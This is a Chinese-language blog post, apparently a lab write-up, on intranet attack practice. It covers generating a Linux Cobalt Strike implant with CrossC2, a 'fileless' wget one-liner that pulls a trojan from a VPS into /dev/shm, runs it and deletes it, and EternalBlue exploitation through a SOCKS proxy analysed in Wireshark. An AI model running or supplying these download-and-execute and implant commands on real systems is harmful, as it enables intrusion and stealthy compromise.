一些近来对内网攻防的思考

  我知道我最近托更托了很久了，其实也不是小编懒啊

这小编也是一直在写，但是遇到的问题比较多（我太菜了），所以一直拖着。

但是总不能不更吧     那就讲一下进来的一些内网攻防的思考吧

1.CrossC2上线Linux到CS(成功)

我么众所周知，CS是不能生成以及上线Linux的（再不配置插件的情况下），那么我们今天就带大家来配一下这个上线cs的插件

我就去kali上演示啦（你们在VPS上也是一样的，不过我VPS上已经配置好了，就不麻烦再配一次了）

我们先去github上下载这两个文件

GitHub - gloxec/CrossC2: generate CobaltStrike's cross-platform payload

然后我们先去解压缩那个ZIP

然后我们去CS加载这两个文件

这样，我们的CS就配置好了，然后我们去生成Linux的木马，找到另外的那个gen...linux的

先改权限，然后生成

./genCrossC2.Linux 你的VPS的ip VPS监听器的端口 null null Linux x64 木马名字

所以我就这么写咯

./genCrossC2.Linux 192.168.246.170 9191 null null Linux x64 muma

这里可以看见它的支持版本是4.9-4.1 ，要注意版本噢

然后我们去配置CS的监听器（只支持https 和tcp）

这个生成木马我应该就不用教了吧，不过记得要和木马对应IP和端口噢

然后就是去目标Linux上运行木马了！！！

但是呢，就真无语了

cs非常的安静

就连本地自己启动都上线不了。。。。。。。

我真无语了，那就用VPS上线一下吧！！！

还是先创建监听器，然后生成🐎

丢到目标服务器上去运行

可以看见两台机器都能上线，看来以后还是用VPS吧！！！

2.Bash无文件落地？？

我们众所周知，Windos最出名的无文件落地，一定是powershell无文件落地（当然还有别的）

但是Linux呢？？？ 那肯定得有对应的无文件落地的啦！！！ 下面这个连接讲的很详细

blogs/持久控制/Linux/Linux下的无文件攻击.md at master · aplyc1a/blogs · GitHub

这些方法好是好，但是对于脚本小子不友好！！！ 假如我现在有一个Linux的马，然后又是脚本小子呢？？

    ：：： 我也想无文件啊！！！

那么就有接下来的命令

wget -U O -O - http://公网VPS/木马 > /dev/shm/木马 && chmod +x /dev/shm/木马 && /dev/shm/木马 && rm -f /dev/shm/木马

1. 使用 wget 命令从公网VPS的地址下载文件。
2. > 符号将下载的文件内容输出到 /dev/shm/木马 文件中。
3. && 符号表示如果前一个命令执行成功，则继续执行下一个命令。
4. 使用 chmod 命令添加 /dev/shm/木马 文件的执行权限。
5. 使用 /dev/shm/木马 命令执行该文件，这个文件可能是一个 shell 脚本或可执行文件。
6. 最后，使用 rm -f 命令删除 /dev/shm/木马 文件。

这个命令下载的文件被保存在 /dev/shm 目录下，该目录是一个临时文件系统，通常被用作内存文件系统，因此文件实际上是保存在内存中的。因此，即使在磁盘上删除了文件，内存中仍然存在这个文件的拷贝，因此删除磁盘上的文件不会影响正在内存中执行的程序。

所以你觉得这个算是无文件吗？？？？ 

     ：：感觉似乎不算，毕竟还有有文件落地得(只不过达到了一种类似无文件得效果)

那么下面就来演示一下，现在VPS上面开一个http得服务

然后直接一句话bash无文件落地

wget -U O -O - http://VPS:6888/shell > /dev/shm/shell && chmod +x /dev/shm/shell && /dev/shm/shell && rm -f /dev/shm/shell

直接上线

然后我们去看一下是否真的无文件（看一下目录下有没有）

但是在内存中还是能看见得

3.永恒之蓝shell进去会建立一个session？

以前我不是做过这样的一个实验吗？？ 挂着跳板机去打内网的机器，很多时候本地不成功！！

那么我们今天Wireshark的角度上去分析一下！！！！！ 

首先是一台Win7(存在永恒之蓝)

然后就是一台Server（也存在永恒之蓝）

首先我的Kali是192.168.246.170，先把他放在同一网段来打一下先

然后我们再去打一下Win7

好，两台都是能打到的，那么，我们把Win7放在内网，winserver放在公网

然后win7就变成内网52这个网段

然后winserver是双网卡，同时通两个网

然后我们去Winserver上开一个socks5的隧道！！！

然后我用kali的proxychains去连接

然后我们用proxychains去启动msf

果然打不成功，这个可能是因为虚拟机网络摇曳的原因，然而，今天我想讲的是另外一个东西

还是拿回我们原来的那个攻击成功的机器，我们众所周知，永恒之蓝是通过别人开放的445端口进行攻击的，那么他是通过445进行连接的吗？？？？

我们在进攻成功之后，就可以有一个meterpreter的界面，然后我们去看一下连接

我们不难发现，我们并不是通过445端口进行连接的，而是通过重新找了一个端口来连接我们的kali  那么另外又一个问题来了，我们shell的时候，会建立一个新的连接吗？？（PORT）

于是我shell了进去，并且抓了一下数据包，我们不难发现，我们kali都是通过用的4444端口进行对win7的通信，并不存在说新建立了一个端口来通信！！！ 那执行命令呢？？？？

可以看到它的整个tcp流，也是没有建立新的端口

所以我们就可以得到一个结论，只要我们能通过proxychains打到内网，那么就不用担心会新建端口导致的流量不通！！！    

所以以上失败的原因就是虚拟机摇曳！！！！！！

   

以上，就是一些暂时的想法了，写完这篇，小编又要投身到另一篇csdn上了！！！！